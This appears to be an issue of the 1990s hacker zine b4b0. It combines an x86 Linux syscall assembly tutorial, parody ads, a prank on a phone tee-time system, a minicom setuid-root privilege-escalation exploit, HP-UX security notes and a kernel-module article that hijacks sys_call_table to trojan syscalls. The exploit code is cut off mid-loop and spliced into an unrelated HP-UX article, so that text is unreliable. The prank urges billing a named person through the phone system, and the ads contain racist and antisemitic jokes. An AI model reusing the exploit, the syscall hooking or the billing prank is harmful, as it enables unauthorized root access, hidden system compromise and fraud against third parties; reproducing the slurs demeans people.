-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- asm on de Linux/x86 prerequisite: 1) you know basic x86 asm, and a bit about protected mode. 2) for this article well be using at&t synthax, simply becuase everyone will have the assembler already, and its used by gcc for all the examples here just set up a file like: int main(void) { __asm__(" example code here "); } If you dont meet the prerequisites go find the INTEL 80386 PROGRAMMER'S REFERENCE MANUAL on the web. Get the "Intel Architecture Software Developer's Manual" volumes 1 - 3 in pdf format at: ftp://download.intel.com/design/pentium/manuals/24319001.PDF vol. 1 ftp://download.intel.com/design/pentium/manuals/24319201.pdf vol. 3 To learn the gnu as asembler goto http://www.freebsd.org/info/as-all and also just play around with gcc's -S option. we can use all our code inbedded [s1c] into a gcc src file also, by using the __asm__ keyword. Although this isnt portable to other compilers. 1:syscalls 2:sys_socketcall 3:using lib functions 4:debugging 5:a full example 6:el fin 1:syscalls bleh. the syscall numbers can be found in most of them behave like their libc wrappers for example to fork u could do this: movl $2, %eax # 2 = SYS_fork int $0x80 # Linux the syscall used is based on the value of eax at the time the interrupt occurs, sys_fork does not have any arguments so the other general registers are ignored. The code movl $0x4647, (%ebp) # movs GF to the addr in ebp movl $4, %eax # 4 = SYS_write movl $1, %ebx # 1 = fileno(stdout) leal (%ebp), %ecx # loads the address of the 'GF' string movl $2, %edx # bytes to write int $0x80 will write "GF" to stdout, Linux takes the values in the general registers besides eax and uses them as args to the syscall. The order is the same as the write(2) lib function: write(int fd, const void *buf, size_t count) , this holds true for most (all?) lib functions. The offset field of interrupt 0x80's descriptor in the idt points to the system_call symbol in arch/i386/kernel/entry.S in the Linux src tree. This code will call the address pointed to by the 4th entry in sys_call_table (from 0). This is sys_write()'s address. The code for this function is in fs/read_write.c, It is passed the values that were in ebx, ecx, and edx when we interrupted. When the syscall returns it will set the registers back to where they were before it started the only change will be that %eax contains the return value. 2:sys_socketcall I've given this its own chapter becuase blah blah blah(i felt like it!) This works like socketcall(2) libc function. All the other functions like socket(), accept() and so on are just wrappers to socketcall() in libc. anyway. lets say I wanted to create a socket. I could do: sfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); or unsigned long args[] = { AF_INET, SOCK_STREAM, IPPROTO_IP }; sfd = socketcall(SYS_SOCKET, args); or movl $2, -12(%ebp) # 2 = AF_INET movl $1, -8(%ebp) # 1 = SOCK_STREAM movl $0, -4(%ebp) # 0 = IPPROTO_IP movl $102, %eax # 102 = SYS_socketcall movl $1, %ebx # 1 = SYS_SOCKET leal -12(%ebp), %ecx # load addr of socket args int $0x80 the socketcall call args are defined in , the args are the same as the libc functions arguments. Its similar for all other socketcall calls. Here is a SYS_CONNECT example: # equiv of a sockaddr struct movw $2, -20(%ebp) # sockaddr family = AF_INET movw $5376, -18(%ebp) # sockaddr port = 5376 = htons(21) movl $0, -16(%ebp) # sockaddr addr = 0 movl $8, -12(%ebp) # assuming 8 is a valid fd leal -20(%ebp), %eax # load addr of sockaddr struct movl %eax, -8(%ebp) movl $16, -4(%ebp) # 16 = sizeof(struct sockaddr) movl $102, %eax # 102 = SYS_socketcall movl $3, %ebx # 3 = SYS_CONNECT leal -12(%ebp), %ecx # load addr of connect args int $0x80 3:using lib functions to use a function from libc or whatever just push its args onto the stack, and call it. For example to print the string "Hello world" we could do: pushl $MSG # push addr of string onto stack call puts # call puts pushl $0 # push 0 onto stack call exit # call exit MSG: .string \"Hello world\" # null terminated string This prints out the string, and exits with 0. Multiple arguments are pushed in backwards order, because we have a lifo stack. i.e. func(1, 2, 3) would be: push 3 push 2 push 1 call func. 4:debugging ok, so your program does nothing or coredumps using strace is excellent for seeing whats going on for example, In the SYS_CONNECT example, if there was an error we would be able to find it quickly by 'strace a.out' or whatever its name was. connect(8, {sin_family=AF_INET, sin_port=htons(21), sin_addr=inet_addr("0.0.0.0" )}, 16) = -1 EBADF (Bad file number) The problem here was that 8 was not a valid fd The following example will core dump if ran in an application: hlt pushl $5 call exit This is because hlt can not be used in a segment with a CPL higher then 0. Lets assume we didn't know this and wanted to figure out why our program was 'FUK3d!'. This is condensed a bit: gdb program (gdb) run Program received signal SIGSEGV, Segmentation fault. 0x804841b in main () (gdb) x/i 0x804841b 0x804841b : hlt Now we know where the problem is. 5:a full example /* writes host 0's ftp banner thing to stdout */ char error_msg[] = "err0r\n"; /* we can use global variables */ void main(void) { __asm__(" movl $2, -12(%ebp) # 2 = AF_INET movl $1, -8(%ebp) # 1 = SOCK_STREAM movl $0, -4(%ebp) # 0 = IPPROTO_IP movl $102, %eax # 102 = SYS_socketcall movl $1, %ebx # 1 = SYS_SOCKET leal -12(%ebp), %ecx # load addr of socket args int $0x80 cmpl $-1, %eax jl ERROR movw $2, -20(%ebp) # sockaddr family = AF_INET movw $5376, -18(%ebp) # sockaddr port = 5376 = htons(21) movl $0, -16(%ebp) # sockaddr addr = 0 movl %eax, -12(%ebp) # put sockfd leal -20(%ebp), %eax # load addr of sockaddr struct movl %eax, -8(%ebp) movl $16, -4(%ebp) # 16 = sizeof(struct sockaddr) movl $102, %eax # 102 = SYS_socketcall movl $3, %ebx # 3 = SYS_CONNECT leal -12(%ebp), %ecx # load addr of connect args int $0x80 cmpl $-1, %eax jl ERROR movl $3, %eax # 3 = SYS_read movl -12(%ebp), %ebx # get sockfd leal -80(%ebp), %ecx # buffer movl $80, %edx # 80 = count int $0x80 cmp $-1, %eax jl ERROR movl $4, %eax # 4 = SYS_write movl $1, %ebx # 1 = fileno(stdout) int $0x80 cmp $-1, %eax jl ERROR movl $0, %ebx # returns 0 on success EXIT: movl $1, %eax # 1 = SYS_exit int $0x80 ERROR: movl $4, %eax # 4 = SYS_write movl $1, %ebx # 1 = fileno(stdout) movl $error_msg, %ecx # load MSG1's addr movl $6, %edx # 6 = strlen(MSG1) int $0x80 movl $-1, %ebx # returns -1 on failure jmp EXIT "); } 6:el fin So dat about wraps it up for now ? Basically knowing this is only practical for writing exploit shellcode or implimenting a library, but your not a practical person, are you ? However it does give you an idea of how many levels the system works at. Werd 2 fatima! [b4b0 misc, w4rnings et cet3ra (ge0rge)] x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- b4b0 misc.. ----------- b4b0: with NEW cleansing action! b4b0: Just do it. b4b0 - Let the journey begin. b4b0 - don't leave home without it. b4b0 - clinically shown to actually *GROW* hair! b4b0 - 4 out of 5 doctors recommend it! (the 5th one is black) b4b0 - this box never closes! b4b0 - doesn't fade colors like other brands do! Viva la b4b0! Did someone say b4b0? Yo quiero b4b0! b4b0: the histamine blocker. Get a taste of the b4b0! b4b0: quick allergy relief. b4b0: for upset *stomachs* b4b0, will help you get your 'z's! b4b0 cookies and creme : smile more! Like a good neighbor, b4b0 is there.. Just wait till we get our b4b0 on you! b4b0 warnings / other: ---------------------- - You may need to read b4b0 daily for three months or more to see visible results. b4b0 will not regain all your eliteness. And if you stop using this product you will gradually start losing the eliteness you have gained. There is not sufficient evidence that b4b0 works for rsession at the physical level. If you have seen results after 12 mones of using b4b0 further treatment is likely to be of benefit. - Guns don't kill people. b4b0 kills people. - f.b.s. (fetal b4b0 syndrome) can cause serious birth defects to your child if you are reading b4b0 anytime during pregnancy. Such birth defects can range from mild pigeon toe'd children to serious deformities of organs, limbs, and other physical features inside the body. Please, do not read b4b0 while pregnant. - b4b0 if read in large doses can cause liver failure. - *WARNING* b4b0's contents under extreme pressure *WARNING* - WARNING! FLAMMABLE LIQUID AND VAPOR. VAPORS AND SPRAY MIST HARMFUL IF INHALED. HARFUL OR FATAL IF SWALLOWED. MAY CAUSE CENTRAL NERVOUS SYSTEM EFFECTS SUCH AS DIZZINESS, HEADACHE, NAUSEA. MAY CAUSE NOSE, THROAT, EYE AND SKIN IRRITATION. CAN BE ABSORBED THROUGH THE SKIN. - CAUTION: Keep Out Of Eyes! In case of accidental eye contact, DO NOT RUB EYES. Flush eyes throughly with water. If conditions worsen or irritation persists, call a physician. If swallowed consult a physician or poison control center. KEEP OUT OF REACH OF CHILDREN. FOR EXTERNAL USE ONLY. - WARNING: Extremely Flammable! > b4b0's 0fficial song Doggie Tom Overture; Lords Of Acid > b4b0's magazine Guns and Ammo > b4b0's official controlled substance Chelsea Clinton > b4b0's official narcotic morphine > b4b0's country afghanistan > b4b0's k-rad clothez b4b0 we4r > b4b0's suggestion go fuck yourself > The Official Food Supplier Of b4b0 burger king! > Stuff that keeps b4b0 going coffee > Stuff that keeps b4b0 going too Hustler Magazine (tm) > Official b4b0 place of worship your local synagogue! [g0lf teleph0ny ju4r3z (Qytpo) ]-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- ######################## GOLF TELEPHONY JUAREZ ########################### ## ## ### Qytpo ### ### ### ########################### 0kay. so i was house sitting for theze 0ld people in thiz el8 retirement community. and eye was sitting 0n the t01let, taking a sh1t, when i came across this article for the 0ld g0lfer k1dz in place, in a pamphlet given to members of the retiremenet community. Up0n reading it i noticed some pretty silly things. the art1cle bel0w iz a replica of the exact thing i read. l00k specifically at the portion labeled "7" begin 644 0day.g0lf.juarez ----- MACCS Tee Time System - Procedure, Rules, and Regulations ----- The 1997-98 golf season is upon us. Our computer system for taking tee times is called MACCS, which stands for Message and Call Back Computer System. The times for call in and the phone numbers for our two phase III golf courses are: OAKWOOD/IRONWOOD 7:00 to 7:10AM 602-895-1805 Due to heavy phone line usage during the hours of 6:AM to 9:00AM, any changes or cancellations in teetimes should be made only starting at 9:30 AM. 48 hours in advance by phone or in person, at each pro shop. At 9:30 AM daily, each Pro Shop will sign up "Stand By's", alternating between people in person and the telephone. The MACCS system is a fair and efficient way to take tee times and also keeps the personal touch of talking with a pro shop staff person. The system works as follows: 1: Between 4:45 PM, and 5:3 AM, golfers can call 602-895-1805 for tee times at oakwood or ironwood. MACCS will give the offical time to the second. 2: Prompty at 7:00 AM, golfers can call 602-895-1805 for tee times at Oakwood or Ironwood. MACCS wll accept 150 calls during the Oakwood/Ironwood call in period. 3: MACCS will answer your call by saying "Please enter last four digits of your phone number and end with the star key." (i.e., 6566*). MACCS will then tell you what number call you are, say "Good Bye" and hang up. Golfers should punch in their phone number without delay. It is not the order the call was recieved, but the order in which valid numbers are entered that counts. The comptuter will then automatically call you back, based on your caller number. You will make your tee time then by talking with a pro shop staff person. 4: MACCS will automatically accept and verify the sequence of 150 calls in an estimated 10 minute period for Oakwood and Ironwood. After 150 calls have been taken in, MACCS will tell golfers no more calls are being accepted at this time. *please do not call or re-dial the tee time number after that 10 minute period has passed. MACCS must have open phone lines in order to call the golfers back.* If your call did not get answered by MACCS during this 10 minute period, please call the next golf course at the appropriate time. 5: MACCS will keep trying to call you back, up to 3 minutes, when a busy signal is recieved. 6: Pulse phones are not acceptable to this MACCS system. Phones that are switchable must have the switch set to TONE. If the caller makes a mistake punching in the phone number, just press the pound(#) key and MACCS will start the procedure over again. You may substitute punching "0000" for a non-functioning star(*) key and also punching "9999" for a non-functioning pound(#) key. 7: MACCS will call you back if you are outside the 895 phone prefix area. Just punch in the correct prefix (i.e., 802-5010). If you are in an area that requires a toll call, just punch in (1-602) before your number (i.e., 1-602-248-6134). Finally, if you are in an area with a different area code than 602, just punch in all 11 digits on your phone number (i.e., 1-414-728-6001). Long distance calls will be charged back to the caller by the pro shop. Please feel free to ask your Pro Shop staff for assistance. EOF ------------------------------------------------------------------------------- 0kay so as you can see, th0u could have a bit of fun with this. enter in s0lo'z number 0ver and over and have him get billed perhapz. wh0 knowz. the possiblities are endl3ss. have fun kidz. minicom versions less than 1.81.1 have many buffer overflow bugs the one we will be exploiting is case 't': /* Terminal type */ ---> strcpy(termtype, optarg); #ifdef __linux__ /* Bug in older libc's (< 4.5.26 I think) */ if ((s = getenv("TERMCAP")) != NULL && *s != '/') unsetenv("TERMCAP"); #endif minicom ships suid root with slackware 3.5 so we will work from there. now lets see. termtype is static, so we won't be able to do the traditional buffer overflow of overwriting the return address. but could there be useful information in memory past termtype? we take a look at minicom.h and find EXTERN int real_uid; /* Real uid */ EXTERN int real_gid; /* Real gid */ EXTERN int eff_uid; /* Effective uid */ EXTERN int eff_gid; /* Effective gid */ wow. the one we want is real_uid. lets see just how far it is past termtype. we insert this in minicom.c: printf ("real_uid is at: %x\n" "termtype is at: %x\n", &real_uid,termtype); output: real_uid is at: 80664b4 termtype is at: 8066480 so real_uid is just 52 bytes past the start of termtype! we can take advantage of the fact that getopt() will keep reading the same parameter over and over (in this case, "-t"). so we feed it 4 strings, the first one ending at the last memory location of real_uid (termtype+55). this will set the last byte of real_uid to 0. we do the same for (termtype+54),(termtype+53),and (termtype+52). we also give minicom a "-t vt100" parameter so it won't exit with `no termcap entry' -- start new.minicom.c -- #include #include #include #define OFFSET 52 /* if you figure this out, you could try defining it */ //#define UTTY "/dev/ttyp0" char * makestring (int ch, int len) { static char b[500]; int i; for (i=0 ; i as size of audit logs increase --------------------> primary AFS reached, give warning, switch to: auxiliary log -> when auxiliary AFS is is reached, give warning, and: watch FFS -> when that limit is reached, give warning, and: watch min_free parameter -> when that limit is reached, halt all audit logs, until they are removed --------------------------------------------------------------------------- 3) The Trusted System: ACLs Access control lists are are basically an "extended" set of permissions for files and directories. Two things to note: 1) ACLs are slowly being phased out (11.0 supports them, but this might be the last version that supports ACLs), and 2) ACLs cannot be used on VxFS (Journal Filesystem, also known as JFS). Two commands are integral to ACLs: lsacl and chacl. Basically think of lsacl as the extended equivalent of ls, while chacl is the extended equivalent of chmod and chown. How are ACLs "extended"? While standard Unix has three sets of permissions, ie: -rwxr--r-- 1 oracle dba 523 Nov 22 1996 run1.sh ACLs enables thirteen additional sets of permissions (ACL entries) to be designated, which are stored in the access control list of the file. Suppose you wanted everyone BUT johndoe to read a file. In standard Unix, you'd have to create a group, put everyone in it except johndoe, then modify the permissions on the file accordingly (basically a pain in the ass). With ACLs, simply type: chacl 'johndoe.users=-rwx' Looking at that file with 'lsacl ' you see: (johndoe.users,---)(root.%,rw-)(%.sys,r--)(%.%,r--) filename Note that modifiers in chacl are + (add permission), - (remove permis- sion), etc. How would you know if a file or directory had additional permissions? Do an 'ls -l' or 'll' on the file: -rwxr--r-+ 1 oracle dba 523 Nov 22 1996 run1.sh Note the "+". This indicates there are additional permissions to be seen with lsacl. ACLs are useful to know within HP-UX, as standard file permissions, listings in /etc/group, etc. can be inconclusive in determining the owner- ship of a file or directory. Other commands (primarily system calls; see man pages for more info): getaccess (command): list access rights to a file. chmod -A (command): the -A option preserves ACLs associated with the file. otherwise, they are deleted. cpset (command): install object files in binary directories. does not set a file's optional ACL entries. find -acl (command): the -acl option supports ACLs. getacl/fgetacl (syscall): get ACL information. setacl/fsetacl (syscall): set ACL information. cpacl/fcpacl (syscall): copy ACL/mode bits from one file to another. setaclentry/fsetaclentry (syscall): set/modify/delete one ACL entry in a file. chownacl (syscall): change ACL owner/group info in a file. acltostr (syscall): convert ACL structure to string form. strtoacl (syscall): convert string form to ACL structure. strtoaclpatt (syscall): parse/convert ACL pattern strings to arrays. --------------------------------------------------------------------------- 4) The Trusted System: DB Lib Routines Basically, these routines are used to manipulate information on both the password file (/etc/passwd), and the trusted system database (/tcb/files/ auth). getdvagent(3): get device entry from /tcb/files/auth/devassign getprdfent(3): get system default entry from /tcb/files/auth/system/default getprtent(3) : get term control entry from /tcb/files/ttys getprpwent(3): get /tcb/files/auth password entries getpwent(3c) : get /etc/passwd entries getspwent(3x): get /tcb/files/auth password entries for standard, non-hp format putprpwnam(3): put password entry in /tcb/files/auth putpwent(3c) : put password entry in /etc/passwd putspwent(3x): put password entry in standard, non-hp format --------------------------------------------------------------------------- 5) Other Info Pt 1 nettl: HP-UX's network sniffer The question arises all too often about the availability of a sniffer for HP-UX. A solution that isn't realized by many is the fact that HP-UX comes with one. Here is the basic syntax for nettl. Check the man page for more detailed information on what you need. Start the logging process, logging all (-e, short for -entity) protocol layers/software modules, outputting to /tmp/b4b0!! (pduin is the inbound protocol data unit, and obviously, pduout is the outbound protocol data unit): nettl -traceon pduin pduout -e all -f /tmp/b4b0 Stop the logging for all (-e): nettl -traceoff -e all Format the log file to make it readable: netfmt -f /tmp/b4b0.TRC0 > /tmp/b4b0.txt --------------------------------------------------------------------------- 6) To Be Continued Welps, that's it for now, kinda short. However, Part 3 will delve into NFS diskless clusters, network services, linklevel access, and other fun stuff. --------------------------------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [writing lkm's - [segv]] x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- Introduction -------------> In the past various people have released articles or trojan code for the purpose of trojanning Linux kernel's, due to the fact that it is pretty much child's play. This is a simple article which will discuss them.. and write some simple ones. When you call a syscall the 'magic number' (found in /usr/include/ sys/syscall.h) is pushed into a register along with arguments to the syscall and Linux's maskable interrupt is executed, jumping to kernel mode. Linux's maskable interrupt jumps to kernel mode and gives control to a kernel function called _system_call(), which checks the value of one the general purpose registers (eax) and compares that value to the global syscall table. The global syscall table tells where u can find the syscall in memory. simple example of calling setuid(0); Note: unless your root the call to setuid will fail.. if you are.. the execution of this program will run as root doing nothing. (just an example) root@ux~# grep "SYS_setuid" /usr/include/sys/syscall.h #define SYS_setuid 23 root@ux~# cat > setuid.c void main() { __asm__(" movl $23, %eax # magic number of syscall into eax movl $0, %ebx # arugment u are passing to setuid() int $0x80 # jump to kernel mode. "); } ^D root@ux~# Pretty simple, eh? ;) Now lets write our first loadable kernel module. (which can be loaded into the kernel on an as need basis). When you first load the module into the kernel init_module() is exec'ed, when you unload it, cleanup_module() is exec'ed. Note: printk() is a kernel function and can't be called from the userland. You should take a look at the man pages for rmmod(1), lsmod(1), and insmod(1). root@ux~# cat > lkm1.c #define MODULE #include int init_module(void) { printk("B4B0 0WNZ U.\n"); printk("Module loaded.\n\n"); return(0); } void cleanup_module(void) { printk("Module unloaded\n"); } ^D root@ux~# cc -c lkm1.c root@ux~# insmod lkm1.o B4B0 0WNZ U. Module loaded. root@ux~# rmmod lkm1.o Module unloaded root@ux~# Ok.. once _system_call() is called and finds out where the syscall we wanna exec is in memory, the actual syscall gets executed.. once that is done control is givin back to _system_call() which then call's _ret_from_sys_call() which jumps back to userland mode. Trojanning syscall's. ---------------------> Just to give you an idea. You can modify the memory address sys_call_table[SYS_] points to and have it exec your code. I wrote a simple wrapper to write(2), which from the trojanned function calls the real function, just an other example.. ***IMPORTANT*** I tested this code on 2.0.33, worked fine.. Since then I have upgraded to 2.0.34 and this crashed my Linsux machine. (I'm considering downgrading ;) Oh well.. USE AT YOUR OWN RISK. I wrote this code a while ago, heh. Thanks -------> Plaguez great article in Phrack.. which pretty much explained everything. "Writing Device Drivers for Linux". Some book, forgot the name of the author. /* * gcc -O3 -c stupid-example.c; /sbin/insmod stupid-example.o * -segv */ #define MODULE #define __KERNEL__ #include #ifdef MODULE #include #include #else #define MOD_INC_USE_COUNT #define MOD_DEC_USE_COUNT #endif #include #include #include #include #include #include #include #include #include #include #include #include #include int errno; extern void *sys_call_table[]; // ssize_t write(int fd, const void *buf, size_t count); ssize_t (*wwrite) (int fd, const void *buf, size_t count); // function pointer ssize_t hihi(int fd, const void *buf, size_t count) // our c0de. { ssize_t yo; yo=wwrite(fd,buf,count); // wwrite is the real write(2) call return(yo); } int init_module(void) { wwrite=sys_call_table[SYS_write]; /* have our function pointer point * to the mem addr of write. */ sys_call_table[SYS_write]=(void *)hihi; /* replace it with our return 0; * new addr to our code */ } void cleanup_module(void) { sys_call_table[SYS_write]=(void *)wwrite; /* have it point back to * orignal addr. */ } [compiled d0x on sparc asm (various)] - -x- -x- -x- -x- -x- -x- -x- -x- b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b Included in the .tgz is the directory sparc_asm/. The *class*.html files were taken from some colleges web site =) greetz to the professor who wrote them... The other thing is info on the sparc stack... reading both these things will gib u a working knowledge of sparc asm ! there is no excuse not to read all these filez right now ! b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b ************************************************************************** ************************************************************************** ************************************************************************** THATS ALL THANK U FOR READING B4B0 !!!!!!!!!!!!!!!!!!!!!!!!!! PLEASE COME AGAIN